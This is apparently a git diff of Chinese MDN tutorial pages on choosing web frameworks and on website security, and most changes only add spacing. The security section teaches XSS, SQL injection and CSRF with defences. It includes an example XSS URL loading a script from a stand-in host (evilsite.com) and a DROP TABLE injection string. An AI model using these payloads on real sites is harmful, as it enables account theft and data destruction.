+- 学习代价:学习一个 web 框架取决于你对底层语言的熟悉程度,它的 API 的一致性与否,文档质量,社区的体量和活跃程度。如果你完全没有编程基础的话,那就考虑 Django 吧(它是基于上面几条标准来看最容易学习的了)。如果你已经成为开发团队的一部分,而那个开发团队对某一种语言或者某一个框架有着很重要的开发经历,那么就坚持相关框架。
- 效率:效率是指一旦你熟悉某一个框架之后,你能够多块地创造一个新功能的衡量方式,包括编写和维护代码的代价(因为当前面的功能崩掉之后,你没法编写新的功能)。影响效率的大多数因素和学习代价是类似的——比如,文档,社区,编程经历等等。——其他因素还有:
-
- 框架目的/起源:一些框架最初是用来解决某一类特定问题的,并且最好在生成app的时候顾及到这些约束。比如,Django是用来支持新闻网站的,因此非常适合博客或者其他包含发布内容的网站。相反的,Flask是一个相对来说轻量级的框架,因此适合用来生成一些在嵌入式设备上运行的app。
-- Opinionated vs unopinionated:一个opinionated的框架是说,解决某一个特定问题时,总有一个被推荐的最佳的解决方法。opinionated的框架在你试图解决一些普通问题的时候,更加趋向于产品化,因为它们会将你引入正确的方向,尽管有些时候并不那么灵活。
+- Opinionated vs unopinionated:一个 opinionated 的框架是说,解决某一个特定问题时,总有一个被推荐的最佳的解决方法。opinionated 的框架在你试图解决一些普通问题的时候,更加趋向于产品化,因为它们会将你引入正确的方向,尽管有些时候并不那么灵活。
- 一些web框架默认地包含了开发者们能遇到的任何一个问题的工具/库,而一些轻量级的框架希望开发者们自己从分离的库中选择合适的解决方式(Django是其前者的一个实例,而Flask则是轻量级的一个实例)。包含了所有东西的框架通常很容易上手因为你已经有了你所需要的任何东西,并且很可能它已经被整合好了,并且文档也写得很完善。然而一个较小型的框架含有你所需要(或者以后需要)的各种东西,它将只能在受更多限制的环境中运行,并且需要学习更小的、更简单的子集学习。
- 是否选择一个鼓励良好开发实例的框架:比如,一个鼓励 Model-View-Controller 结构来将代码分离到逻辑函数上的框架将会是更加易于维护的代码,想比与那些对开发者没有此期待的框架而言。同样的,框架设计也深刻影响了测试和重复使用代码的难易程度。
- 框架/编程语言的表现: 通常来讲,“速度”并不是选择中最重要的因素,甚至,相对而言,运行速度很缓慢的Python对于一个在中等硬盘上跑的中等大小的网站已经足够了。其他语言(C++/Javascript)的明显的速度优势很有可能被学习和维护的代价给抵消了。
-- 缓存支持:当你的网站之间变得越来越成功之后,你可能会发现它已经无法妥善处理它收到的大量请求了。在这个时候,你可能会开始考虑添加缓存支持。缓存是一种优化,是指你将全部的或者大部分的网站请求保存起来,那么在后继请求中就不需要重新计算了。返回一个缓存请求比重新计算一次要快得多。缓存可以被植入你的代码里面,或者是服务器中(参见reverse proxy)。web框架对于定义可缓存内容有着不同程度的支持。
-- 可扩展性:一旦你的网站非常成功的时候,你会发现缓存的好处已经所剩无几了,甚至垂直容量到达了极限(将程序运行在更加有力的硬件上面)。在这个时候,你可能需要水平扩展(将你的网站分散到好几个服务器和数据库上来加载)或者“地理上地”扩展, 因为你的一些客户距离你的服务器很远。你所选择的框架将会影响到扩展你的网站的难易程度。
-- 网络安全:一些web框架对于解决常见的网络攻击提供更好的支持。例如,Django消除所有用户从HTML输入的东西。因此从用户端输入的Javascript不会被运行。其他框架也提供相似的功能,但是通常在默认情况下是不直接开启的。
+- 框架/编程语言的表现: 通常来讲,“速度”并不是选择中最重要的因素,甚至,相对而言,运行速度很缓慢的 Python 对于一个在中等硬盘上跑的中等大小的网站已经足够了。其他语言(C++/Javascript)的明显的速度优势很有可能被学习和维护的代价给抵消了。
+- 缓存支持:当你的网站之间变得越来越成功之后,你可能会发现它已经无法妥善处理它收到的大量请求了。在这个时候,你可能会开始考虑添加缓存支持。缓存是一种优化,是指你将全部的或者大部分的网站请求保存起来,那么在后继请求中就不需要重新计算了。返回一个缓存请求比重新计算一次要快得多。缓存可以被植入你的代码里面,或者是服务器中(参见reverse proxy)。web 框架对于定义可缓存内容有着不同程度的支持。
+- 可扩展性:一旦你的网站非常成功的时候,你会发现缓存的好处已经所剩无几了,甚至垂直容量到达了极限(将程序运行在更加有力的硬件上面)。在这个时候,你可能需要水平扩展(将你的网站分散到好几个服务器和数据库上来加载)或者“地理上地”扩展,因为你的一些客户距离你的服务器很远。你所选择的框架将会影响到扩展你的网站的难易程度。
+- 网络安全:一些 web 框架对于解决常见的网络攻击提供更好的支持。例如,Django 消除所有用户从 HTML 输入的东西。因此从用户端输入的 Javascript 不会被运行。其他框架也提供相似的功能,但是通常在默认情况下是不直接开启的。
可能还有其他一些原因,包括许可证、框架是否处于动态发展过程中等等。
@@ -198,8 +198,8 @@如何选择一个web框架
- 导航至主页 (上面已给出链接)
@@ -225,70 +225,70 @@-
- 点击文档菜单的链接 (通常都叫做 "Documentation(文档)、Guide(指南)、API Reference(API参考)、Getting Started(快速开始)"之类的。)
-- 你能看到如何设置URL路由、模板、数据库/数据模型的主题吗?
+- 点击文档菜单的链接 (通常都叫做 "Documentation(文档)、Guide(指南)、API Reference(API 参考)、Getting Started(快速开始)"之类的。)
+- 你能看到如何设置 URL 路由、模板、数据库/数据模型的主题吗?
- 文档说得够清楚吗?
几个还不错的框架?
Django (Python)
-Django是一个高水平的python web框架,它鼓励快速的开发和简洁、务实的设计。它由非常有经验的开发者创建的,考虑到了web开发中会遇到的大多数难题,所以你无需重复造轮就能够专心编写你的应用。
+Django是一个高水平的 python web 框架,它鼓励快速的开发和简洁、务实的设计。它由非常有经验的开发者创建的,考虑到了 web 开发中会遇到的大多数难题,所以你无需重复造轮就能够专心编写你的应用。
-Django遵循“Batteries included”哲学,并且提供了几乎所有大多开发者们想要“开箱即用”的东西。因为它已经包含了所有东西,它作为一个整体一起工作,遵循着一致的设计原则,并且有扩展的、持续更新的文档。它也是非常快、安全和易于扩展的。基于python,Django代码非常容易阅读和维护。
+Django 遵循“Batteries included”哲学,并且提供了几乎所有大多开发者们想要“开箱即用”的东西。因为它已经包含了所有东西,它作为一个整体一起工作,遵循着一致的设计原则,并且有扩展的、持续更新的文档。它也是非常快、安全和易于扩展的。基于 python,Django 代码非常容易阅读和维护。
-使用Django的主流网站(从Django官网首页看到的)包括: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.
+使用 Django 的主流网站(从 Django 官网首页看到的)包括:Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.
Flask (Python)
-Flask是python的一个微型框架
+Flask是 python 的一个微型框架
-虽然体量很小,Flask却可以开箱即用地创造出完备网站。它包含一个开发服务器和调试器,并且包含对于 Jinja2 模板的支持, 安全的cookie, unit testing, 和 RESTful request dispatching。它有很好的文档和一个活跃的社区。
+虽然体量很小,Flask 却可以开箱即用地创造出完备网站。它包含一个开发服务器和调试器,并且包含对于 Jinja2 模板的支持,安全的 cookie, unit testing, 和 RESTful request dispatching。它有很好的文档和一个活跃的社区。
-Flask已经非常火爆了,部分因为那些需要在小型的、资源受限的系统中提供web服务的开发者们。(比如,在Raspberry Pi, Drone controllers等上面运行服务器)。
+Flask 已经非常火爆了,部分因为那些需要在小型的、资源受限的系统中提供 web 服务的开发者们。(比如,在Raspberry Pi, Drone controllers等上面运行服务器)。
Express (Node.js/JavaScript)
-Express 针对 Node.js 的快速的、unopinioned、灵活的、小型的web框架(node是用来运行Javascript的无浏览器的环境)。它为web和移动应用提供强大的系列功能,并且传输有用的HTTP工具、方法和middleware.
+Express 针对 Node.js 的快速的、unopinioned、灵活的、小型的 web 框架 (node 是用来运行 Javascript 的无浏览器的环境)。它为 web 和移动应用提供强大的系列功能,并且传输有用的 HTTP 工具、方法和middleware.
-Express非常受欢迎,主要因为它减轻了客户端Javascript程序到服务器端开发的迁移,并且部分因为它是资源节约型(底层的node环境在单线程中使用轻量级多任务处理,而不是为每个web请求提供单独的进程)。
+Express 非常受欢迎,主要因为它减轻了客户端 Javascript 程序到服务器端开发的迁移,并且部分因为它是资源节约型(底层的 node 环境在单线程中使用轻量级多任务处理,而不是为每个 web 请求提供单独的进程)。
-因为Express是一个小型的web框架,它几乎不包含任何你可能想要使用的组件(比如,数据库接口和对用户和会话的支持通过独立的库来完成)。有很多独立的、非常好的组件,但是有时候你可能很难决定对于特定目的而言哪一个是最好的!
+因为 Express 是一个小型的 web 框架,它几乎不包含任何你可能想要使用的组件(比如,数据库接口和对用户和会话的支持通过独立的库来完成)。有很多独立的、非常好的组件,但是有时候你可能很难决定对于特定目的而言哪一个是最好的!
很多非常受欢迎的服务器端编程和全栈框架(同时包括服务器端和客户端框架),包括 Feathers、ItemsAPI、KeystoneJS、Kraken、LoopBack、MEAN 和 Sails。
-大量的profile company使用Express,包括优步、Accenture、IBM等(这里是一张列表)。
+大量的 profile company 使用 Express,包括优步、Accenture、IBM 等(这里是一张列表)。
Ruby on Rails (Ruby)
-Rails (通常被称作"Ruby on Rails")是一个为Ruby语言编写的web框架。
+Rails (通常被称作"Ruby on Rails")是一个为 Ruby 语言编写的 web 框架。
-Rails遵循了和Django非常相似的设计哲学。正如Django一样,它提供了检索URLs的标准机制、从数据库中访问数据、从模板中生成HTML页面、格式化数据{{glossary("JSON")}} 或者 {{glossary("XML")}}。同样的,它也鼓励如 DRY (不要重复你自己)的设计模板——尽可能地只写一次代码、MVC(模板-视图-控制中心)以及很多其他的一些。
+Rails 遵循了和 Django 非常相似的设计哲学。正如 Django 一样,它提供了检索 URLs 的标准机制、从数据库中访问数据、从模板中生成 HTML 页面、格式化数据{{glossary("JSON")}} 或者 {{glossary("XML")}}。同样的,它也鼓励如 DRY(不要重复你自己)的设计模板——尽可能地只写一次代码、MVC(模板 - 视图 - 控制中心)以及很多其他的一些。
当然,还有很多由于因为具体设计决定和语言的特性导致的差异。
-Rails被用在很多站点中,包括:Basecamp、GitHub、Shopify、Airbnb、Twitch、SoundCloud、Hulu、Zendesk、Square、Hi
+Rails 被用在很多站点中,包括:Basecamp、GitHub、Shopify、Airbnb、Twitch、SoundCloud、Hulu、Zendesk、Square、Hi
ASP.NET
-ASP.NET 是一个由微软开发的开源Web框架,用于构建现代的Web应用程序和服务。通过ASP.NET你能快速创建基于HTML、CSS、JavaScript的网站,并且能满足大量用户的需求,还可以很容易地添加诸如Web API、数据表单、即时通讯的功能。
+ASP.NET 是一个由微软开发的开源 Web 框架,用于构建现代的 Web 应用程序和服务。通过 ASP.NET 你能快速创建基于 HTML、CSS、JavaScript 的网站,并且能满足大量用户的需求,还可以很容易地添加诸如 Web API、数据表单、即时通讯的功能。
-ASP.NET的特点之一就是它建立在 Common Language Runtime (CLR公共语言运行时)之上。这使得程序员可以使用任何支持的.NET语言(如C#、Visual Basic)来编写ASP.NET代码。和很多微软的产品一样,它得益于出色的开发工具(通常是免费的)、活跃的开发者社区,以及详尽的文档。
+ASP.NET 的特点之一就是它建立在 Common Language Runtime (CLR 公共语言运行时) 之上。这使得程序员可以使用任何支持的.NET 语言(如 C#、Visual Basic) 来编写 ASP.NET 代码。和很多微软的产品一样,它得益于出色的开发工具(通常是免费的)、活跃的开发者社区,以及详尽的文档。
-ASP.NET被微软、Xbox、Stack Overflow等采用。
+ASP.NET 被微软、Xbox、Stack Overflow 等采用。
Mojolicious (Perl)
-Mojolicious是为Perl语言设计的新一代Web框架。
+Mojolicious是为 Perl 语言设计的新一代 Web 框架。
-在Web的早期阶段,许多人都为了一个叫做 CGI 的优秀的Perl库而学过Perl。它简单到即使你不是太懂这门语言也可以开始使用,而且也强大到足以让你可以用下去。Mojolicious通过最新的技术实现了这个想法。
+在 Web 的早期阶段,许多人都为了一个叫做 CGI 的优秀的 Perl 库而学过 Perl。它简单到即使你不是太懂这门语言也可以开始使用,而且也强大到足以让你可以用下去。Mojolicious 通过最新的技术实现了这个想法。
-Mojolicious提供的一些功能是:
+Mojolicious 提供的一些功能是:
-
- 实时Web框架,可轻松将单个文件原型,生成为结构良好的MVC Web应用程序;
-- RESTful路由,插件,命令,Perl-ish模板,内容协商,会话管理,表单验证,测试框架,静态文件服务器,CGI /PSGI 检测,一流的Unicode支持;
+- 实时 Web 框架,可轻松将单个文件原型,生成为结构良好的 MVC Web 应用程序;
+- RESTful 路由,插件,命令,Perl-ish 模板,内容协商,会话管理,表单验证,测试框架,静态文件服务器,CGI /PSGI 检测,一流的 Unicode 支持;
- 全栈式 HTTP 和 WebSocket 客户机/服务器架構,由以下技术支持与实作-IPv6,TLS,SNI,IDNA,HTTP / SOCKS5 代理,UNIX 域套接字,Comet(长轮询),保持活动,连接池,超时,cookie,multipart,支持 gzip 压缩
-- 具有CSS选择器支持的 JSON 和 HTML / XML 解析器和生成器;
+- 具有 CSS 选择器支持的 JSON 和 HTML / XML 解析器和生成器;
- 非常干净,可移植且面向对象的纯 Perl API,没有任何隐藏的魔法;
- 全新的代码基于多年的经验,免费和开源。
总结
-这篇文章展示了web框架如何使得编写和维护服务器端代码变得简单。它也提供了对于几个流行的框架的评价,还讨论了选择一个web框架的标准。你现在至少应该了解了如何为你的服务器端开发选择一个web框架。如果还没有,也不要担心——接下来我们给你一个详细的Django和Express教程,从而让你有一些使用web框架的实战经验。
+这篇文章展示了 web 框架如何使得编写和维护服务器端代码变得简单。它也提供了对于几个流行的框架的评价,还讨论了选择一个 web 框架的标准。你现在至少应该了解了如何为你的服务器端开发选择一个 web 框架。如果还没有,也不要担心——接下来我们给你一个详细的 Django 和 Express 教程,从而让你有一些使用 web 框架的实战经验。
这个模块的下一章节我们会稍微转变一下思路,我们会讨论一下网络安全。
diff --git a/files/zh-cn/learn/server-side/first_steps/website_security/index.html b/files/zh-cn/learn/server-side/first_steps/website_security/index.html index b91219f0427d66..31bd30b2889ed8 100644 --- a/files/zh-cn/learn/server-side/first_steps/website_security/index.html +++ b/files/zh-cn/learn/server-side/first_steps/website_security/index.html @@ -10,30 +10,30 @@{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}-站点安全需要在网站设计和使用的各个方面保持警惕。这篇入门文章不会让你成为一个网站安全专家,但是可以帮助你理解威胁的来源以及如何保护你的Web应用来远离这些常见的攻击。
+站点安全需要在网站设计和使用的各个方面保持警惕。这篇入门文章不会让你成为一个网站安全专家,但是可以帮助你理解威胁的来源以及如何保护你的 Web 应用来远离这些常见的攻击。
-
- 准备内容: -计算机基础知识. +准备内容: +计算机基础知识。 - 目标: +目标: - 了解针对Web应用常见的攻击方式和用来减少网站被黑客攻击的风险的方法。
+了解针对 Web 应用常见的攻击方式和用来减少网站被黑客攻击的风险的方法。
什么是站点安全?
+什么是站点安全?
互联网很危险!我们经常听到网站因为拒绝服务攻击或主页显示被修改的(通常是有害的)内容而无法使用。在一些出名的案例中,上百万的密码、邮件地址和信用卡信息被泄露给了公众,导致网站用户面临个人尴尬和财务威胁。
站点安全的目的就是为了防范这些(或者说所有)形式的攻击。更正式点说,站点安全就是为保护站点不受未授权的访问、使用、修改和破坏而采取的行为或实践。
-有效的站点安全需要在对整个站点进行设计:包括Web应用编写、Web服务器的配置、密码创建和更新的策略以及客户端代码编写等过程。尽管这听起来很凶险,好消息是如果你使用的是服务器端的Web服务框架,那么多数情况下它默认已经启用了健壮而深思熟虑的措施来防范一些较常见的攻击。其它的攻击手段可以通过站点的Web服务器配置来减轻威胁,例如启用HTTPS. 最后,可以用一些公开可用的漏洞扫描工具来协助发现你是否犯了一些明显的错误。
+有效的站点安全需要在对整个站点进行设计:包括 Web 应用编写、Web 服务器的配置、密码创建和更新的策略以及客户端代码编写等过程。尽管这听起来很凶险,好消息是如果你使用的是服务器端的 Web 服务框架,那么多数情况下它默认已经启用了健壮而深思熟虑的措施来防范一些较常见的攻击。其它的攻击手段可以通过站点的 Web 服务器配置来减轻威胁,例如启用 HTTPS. 最后,可以用一些公开可用的漏洞扫描工具来协助发现你是否犯了一些明显的错误。
文章的剩余部分列举了一些常见威胁的细节以及用来保护站点的一些简单措施。
@@ -43,93 +43,93 @@什么是站点安全?
站点安全威胁
-这个部分列举了常见网站攻击手段以及如何减轻它们带来的危害。当你读的时候请注意,这些攻击是如何得手的,当web应用相信这些来自浏览器的信息或者不够坚持自己的时候。
+这个部分列举了常见网站攻击手段以及如何减轻它们带来的危害。当你读的时候请注意,这些攻击是如何得手的,当 web 应用相信这些来自浏览器的信息或者不够坚持自己的时候。
跨站脚本 (XSS)
-XSS是一个术语,用来描述一类允许攻击者通过网站将客户端脚本代码注入到其他用户的浏览器中的攻击手段。由于注入到浏览器的代码来自站点,其是可信赖的,因此可以做类似将该用户用于站点认证的cookie发送给攻击者的事情。一旦攻击者拿到了这个cookie,他们就可以登陆到站点,就好像他们就是那个用户,可以做任何那个用户能做的事情。根据站点的不同,这些可能包括访问他们的信用卡信息、查看联系人、更改密码等。
+XSS 是一个术语,用来描述一类允许攻击者通过网站将客户端脚本代码注入到其他用户的浏览器中的攻击手段。由于注入到浏览器的代码来自站点,其是可信赖的,因此可以做类似将该用户用于站点认证的 cookie 发送给攻击者的事情。一旦攻击者拿到了这个 cookie,他们就可以登陆到站点,就好像他们就是那个用户,可以做任何那个用户能做的事情。根据站点的不同,这些可能包括访问他们的信用卡信息、查看联系人、更改密码等。
-Note: XSS 攻击在历史上较其他类型更为常见。
有两种主要的方法可以让站点将注入的脚本返回到浏览器 -- 通常被称做 反射型 和 持久型 XSS攻击。
+有两种主要的方法可以让站点将注入的脚本返回到浏览器 -- 通常被称做 反射型 和 持久型 XSS 攻击。
- 反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候 -- 当新页面载入的时候原始用户数据中的任何脚本都会被执行!
-
- 举个例子,假如有个站点搜索函数,搜索项被当作URL参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>
),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息 -- 可能会购买物品或分享联系人信息。
+ 举个例子,假如有个站点搜索函数,搜索项被当作 URL 参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>
),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息 -- 可能会购买物品或分享联系人信息。
- 持久型 XSS 攻击: 恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。
+- 持久型 XSS 攻击:恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。
+ 尽管
- 举个例子,接收包含未经修改的HTML格式评论的论坛可能会存储来自攻击者的恶意脚本。这个脚本会在评论显示的时候执行,然后向攻击者发送访问该用户账户所需的信息。这种攻击类型及其常见而且有效,因为攻击者不需要与受害者有任何直接的接触。
+ 举个例子,接收包含未经修改的 HTML 格式评论的论坛可能会存储来自攻击者的恶意脚本。这个脚本会在评论显示的时候执行,然后向攻击者发送访问该用户账户所需的信息。这种攻击类型及其常见而且有效,因为攻击者不需要与受害者有任何直接的接触。
- 尽管POST
和GET
方式获取到的数据是XSS攻击最常见的攻击来源,任何来自浏览器的数据都可能包含漏洞(包括浏览器渲染过的Cookie数据以及用户上传和显示的文件等).POST
和GET
方式获取到的数据是 XSS 攻击最常见的攻击来源,任何来自浏览器的数据都可能包含漏洞(包括浏览器渲染过的 Cookie 数据以及用户上传和显示的文件等).防范 XSS 攻击的最好方式就是删除或禁用任何可能包含可运行代码指令的标记。对 HTML 来说,这些包括类似
<script>
,<object>
,<embed>
,和<link>
的标签。-修改用户数据使其无法用于运行脚本或其它影响服务器代码执行的过程被称作输入过滤。许多Web框架默认情况下都会对来自HTML表单的用户数据进行过滤。
+修改用户数据使其无法用于运行脚本或其它影响服务器代码执行的过程被称作输入过滤。许多 Web 框架默认情况下都会对来自 HTML 表单的用户数据进行过滤。
SQL 注入
-SQL 注入漏洞使得恶意用户能够通过在数据库上执行任意SQL代码,从而允许访问、修改或删除数据,而不管该用户的权限如何。成功的注入攻击可能会伪造身份信息、创建拥有管理员权限的身份、访问服务器上的任意数据甚至破坏/修改数据使其变得无法使用。
+SQL 注入漏洞使得恶意用户能够通过在数据库上执行任意 SQL 代码,从而允许访问、修改或删除数据,而不管该用户的权限如何。成功的注入攻击可能会伪造身份信息、创建拥有管理员权限的身份、访问服务器上的任意数据甚至破坏/修改数据使其变得无法使用。
-如果传递给底层SQL语句的用户输入可以修改该语句的语义,这种漏洞便是存在的。例如下面一段代码,本来是用来根据HTML表单提供的特定名字(
+userName
)来列出所有的用户:如果传递给底层 SQL 语句的用户输入可以修改该语句的语义,这种漏洞便是存在的。例如下面一段代码,本来是用来根据 HTML 表单提供的特定名字(
userName
) 来列出所有的用户:statement = "SELECT * FROM users WHERE name = '" + userName + "';"-如果用户输入了真实的名字,这段代码会如预想的运行。然而一个恶意用户可以完全将这个SQL语句的行为改变为下面的新语句的行为,只要通过将
+userName
指定为下列 “粗体” 的文本。修改后的代码创建了一个合法的SQL语句,该语句删除了整个users
表,然后从userinfo
表中获取了所有数据(所有用户的信息都被暴露了)。这是有效的,因为注入的文本的第一部分(a';
)结束了原来的语句( ' 在SQL语句中是用来描述字符串常量的) 。如果用户输入了真实的名字,这段代码会如预想的运行。然而一个恶意用户可以完全将这个 SQL 语句的行为改变为下面的新语句的行为,只要通过将
userName
指定为下列“粗体”的文本。修改后的代码创建了一个合法的 SQL 语句,该语句删除了整个users
表,然后从userinfo
表中获取了所有数据(所有用户的信息都被暴露了)。这是有效的,因为注入的文本的第一部分 (a';
) 结束了原来的语句 ( ' 在 SQL 语句中是用来描述字符串常量的) 。SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';-避免此种攻击的方法就是确保任何传递给SQL查询语句的用户数据都无法更改查询的本来用意。有种方式便是将用户输入中任何在SQL语句中有特殊含义的字符进行转义。
+避免此种攻击的方法就是确保任何传递给 SQL 查询语句的用户数据都无法更改查询的本来用意。有种方式便是将用户输入中任何在 SQL 语句中有特殊含义的字符进行转义。
--Note: SQL语句把 ' 号作为一个字符串常量的开头的结尾。通过在前面放置一个斜杠,我们把单引号进行了转义( \' ),然后 SQL 就会将其视为一个字符(作为字符串的一部分)。
+Note: SQL 语句把 ' 号作为一个字符串常量的开头的结尾。通过在前面放置一个斜杠,我们把单引号进行了转义 ( \' ),然后 SQL 就会将其视为一个字符(作为字符串的一部分)。
在下面的语句中我们对 ' 字符进行了转义。SQL会将粗体显示的整段字符串解释为 name(这个name很古怪,但至少是没有危害的!)
+在下面的语句中我们对 ' 字符进行了转义。SQL 会将粗体显示的整段字符串解释为 name(这个 name 很古怪,但至少是没有危害的!)
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';-Web框架通常会为你进行这种转义操作。例如 Django,可以确保任何传递给查询集合 (model查询)的用户数据都是已经转义过的。
+Web 框架通常会为你进行这种转义操作。例如 Django,可以确保任何传递给查询集合 (model 查询) 的用户数据都是已经转义过的。
跨站请求伪造 (CSRF)
CSRF 攻击允许恶意用户在另一个用户不知情的情况下利用其身份信息执行操作。
-这种形式的攻击用实例来解释最好。John是一个恶意用户,他知道某个网站允许已登陆用户使用包含了账户名和数额的HTTP
+POST
请求来转帐给指定的账户。John 构造了包含他的银行卡信息和某个数额做为隐藏表单项的表单,然后通过Email发送给了其它的站点用户(还有一个伪装成到 “快速致富”网站的链接的提交按钮).这种形式的攻击用实例来解释最好。John 是一个恶意用户,他知道某个网站允许已登陆用户使用包含了账户名和数额的 HTTP
-POST
请求来转帐给指定的账户。John 构造了包含他的银行卡信息和某个数额做为隐藏表单项的表单,然后通过 Email 发送给了其它的站点用户(还有一个伪装成到“快速致富”网站的链接的提交按钮).如果某个用户点击了提交按钮,一个 HTTP
+POST
请求就会发送给服务器,该请求中包含了交易信息以及浏览器中与该站点关联的所有客户端cookie(将相关联的站点cookie信息附加发送是正常的浏览器行为) 。服务器会检查这些cookie,以判断对应的用户是否已登陆且有权限进行上述交易。如果某个用户点击了提交按钮,一个 HTTP
-POST
请求就会发送给服务器,该请求中包含了交易信息以及浏览器中与该站点关联的所有客户端 cookie(将相关联的站点 cookie 信息附加发送是正常的浏览器行为) 。服务器会检查这些 cookie,以判断对应的用户是否已登陆且有权限进行上述交易。最终的结果就是任何已登陆到站点的用户在点击了提交按钮后都会进行这个交易。John发财啦!
+最终的结果就是任何已登陆到站点的用户在点击了提交按钮后都会进行这个交易。John 发财啦!
--Note: 这里的诀窍是,John 不需要访问那些用户的cookie(或者说身份信息) -- 用户的浏览器存储了这些信息,而且会自动将其包含在发送给对应服务器的请求中。
+Note: 这里的诀窍是,John 不需要访问那些用户的 cookie(或者说身份信息) -- 用户的浏览器存储了这些信息,而且会自动将其包含在发送给对应服务器的请求中。
杜绝此类攻击的一种方式是在服务器端要求每个 POST 请求都包含一个用户特定的由站点生成的密钥( 这个密钥值可以由服务器在发送用来传输数据的网页表单时提供)。这种方式可以使John无法创建自己的表单,因为他必须知道服务器提供给那个用户的密钥值。即使他找出了那个密钥值,并为那个用户创建了表单,他也无法用同样的表单来攻击其他的所有用户。
+杜绝此类攻击的一种方式是在服务器端要求每个 POST 请求都包含一个用户特定的由站点生成的密钥 ( 这个密钥值可以由服务器在发送用来传输数据的网页表单时提供)。这种方式可以使 John 无法创建自己的表单,因为他必须知道服务器提供给那个用户的密钥值。即使他找出了那个密钥值,并为那个用户创建了表单,他也无法用同样的表单来攻击其他的所有用户。
-Web 框架通常都会包含一些类似的CSRF 防范技巧。
+Web 框架通常都会包含一些类似的 CSRF 防范技巧。
其他威胁
其它常见的攻击/漏洞利用方式包括:
-
@@ -138,28 +138,28 @@- 劫持 . 通过这种方式,恶意用户劫持了对可见上层站点的点击,然后将其转发给下层隐藏的页面。这种技术例如可以用来显示一个合法的银行网站,但是将登陆认证信息截获到由攻击者控制的隐藏的{{htmlelement("iframe")}}中。另外也可以用于促使用户点击可见网页的按钮,实际上却在不知情的情况点击了一个完全不同的按钮。作为防范手段,你的站点可以通过设置适当的HTTP 头来防止其被嵌入到另一个站点的iframe中。
-- 拒绝服务 (DoS). Dos 通常通过使用伪造的请求淹没站点,这样合法用户的访问就会被中断。这些请求可能仅仅是数量巨大或者是单独消耗了大量资源 (如 延缓读, 上传大文件等) 。DoS 防护通常通过识别并堵塞 “恶意”的网络数据来工作,同时允许合法信息通过。 这些防护一般都是在Web服务器之前或服务器中进行(它们并非web应用本身所为).
-- 目录遍历(File and disclosure). 在这种攻击中,攻击者会尝试访问Web服务器文件系统中他们本不该访问的部分。这种漏洞会在用户可以传递包含文件系统导航字符的文件名时出现(比如 ../../ )。解决方法就是在使用前对用户输入进行过滤。
+- 劫持 . 通过这种方式,恶意用户劫持了对可见上层站点的点击,然后将其转发给下层隐藏的页面。这种技术例如可以用来显示一个合法的银行网站,但是将登陆认证信息截获到由攻击者控制的隐藏的{{htmlelement("iframe")}}中。另外也可以用于促使用户点击可见网页的按钮,实际上却在不知情的情况点击了一个完全不同的按钮。作为防范手段,你的站点可以通过设置适当的 HTTP 头来防止其被嵌入到另一个站点的 iframe 中。
+- 拒绝服务 (DoS). Dos 通常通过使用伪造的请求淹没站点,这样合法用户的访问就会被中断。这些请求可能仅仅是数量巨大或者是单独消耗了大量资源 (如 延缓读,上传大文件等) 。DoS 防护通常通过识别并堵塞“恶意”的网络数据来工作,同时允许合法信息通过。这些防护一般都是在 Web 服务器之前或服务器中进行 (它们并非 web 应用本身所为).
+- 目录遍历(File and disclosure). 在这种攻击中,攻击者会尝试访问 Web 服务器文件系统中他们本不该访问的部分。这种漏洞会在用户可以传递包含文件系统导航字符的文件名时出现(比如 ../../ )。解决方法就是在使用前对用户输入进行过滤。
- 文件包含. 在此攻击方式中,用户在传递给服务器的数据中指定一个“非故意”的文件来显示或执行。一旦载入成功,这个文件就可以在服务器或客户端(造成 XSS 攻击)执行。解决方式就是在使用前对输入进行过滤。
- 命令行注入. 命令行注入攻击允许恶意用户在主机操作系统中执行任意系统命令。解决方法就是在系统调用中使用前对用户输入进行过滤。
其他威胁
一些关键信息
-当Web应用信任来自浏览器的数据时,上述章节里提到的大多数攻击利用手段才能成功。无论你做什么其它的事情来提升你的网站的安全性能,在将信息展示在浏览器之前、在使用SQL语句进行查询之前、在传递给一个操作系统或者文件系统之前,你应该过滤掉所有的用户源信息。
+当 Web 应用信任来自浏览器的数据时,上述章节里提到的大多数攻击利用手段才能成功。无论你做什么其它的事情来提升你的网站的安全性能,在将信息展示在浏览器之前、在使用 SQL 语句进行查询之前、在传递给一个操作系统或者文件系统之前,你应该过滤掉所有的用户源信息。
-重要:在你可以了解到的有关网站安全大多数 课程之中,最重要的就是不要相信来自浏览器的数据。包括在URL参数中的GET请求、POST请求、HTTP头、cookies、用户上传的文件等等。一定要每次都检查用户输入的信息。每次都预想最坏的结果。
+重要:在你可以了解到的有关网站安全大多数 课程之中,最重要的就是不要相信来自浏览器的数据。包括在 URL 参数中的 GET 请求、POST 请求、HTTP 头、cookies、用户上传的文件等等。一定要每次都检查用户输入的信息。每次都预想最坏的结果。
你可以采取一些简单的步骤:
-
- 采取更加强大的密码管理措施。当密码频繁更换时鼓励更加健壮的密码。采取双因素认证,也就是说除了密码,用户还应该输入另一种认证码(通常是只有唯一一个用户拥有的通过一些物理硬件传输的,比如发送给用户手机的验证短信)。
